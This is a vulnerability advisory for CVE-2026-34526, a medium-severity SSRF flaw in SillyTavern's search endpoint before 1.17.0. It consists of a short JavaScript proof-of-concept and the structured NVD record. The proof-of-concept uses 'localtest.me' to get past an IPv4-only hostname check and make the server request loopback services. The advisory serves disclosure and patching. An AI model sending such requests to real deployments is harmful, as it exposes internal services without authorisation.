CVE-2026-34526

// PoC Concept: Sending a request to the vulnerable search endpoint // Target: SillyTavern < 1.17.0 // Bypass: Using 'localhost' or DNS rebinding to bypass IPv4 regex check const targetUrl = 'http://localtest.me:80'; // Resolves to 127.0.0.1, bypasses the strict IPv4 regex fetch('http://<sillytavern-host>/api/search', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ url: targetUrl // The vulnerable code checks urlObj.hostname against /^\d+\.\d+\.\d+\.\d+$/ // 'localtest.me' does not match the regex, so it passes the weak filter. // Port check allows default ports (80/443). }) });

{"cve": {"id": "CVE-2026-34526", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:29.917", "lastModified": "2026-04-13T18:39:45.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\\d+\\.\\d+\\.\\d+\\.\\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "7E2E14B3-75EF-4DC4-84BE-8C2F5D6949A4"}]}]}], "references": [{"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}